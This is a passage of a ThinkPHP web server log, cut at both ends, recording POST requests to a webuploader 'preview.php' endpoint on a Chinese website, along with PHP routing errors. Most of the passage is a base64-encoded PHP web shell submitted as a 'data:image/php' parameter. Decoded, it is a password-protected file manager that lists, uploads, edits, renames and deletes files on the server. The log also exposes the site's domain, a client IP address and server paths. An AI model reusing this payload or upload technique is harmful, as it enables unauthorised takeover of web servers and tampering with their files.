uYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:51+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002681s] [吞吐率:372.99req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc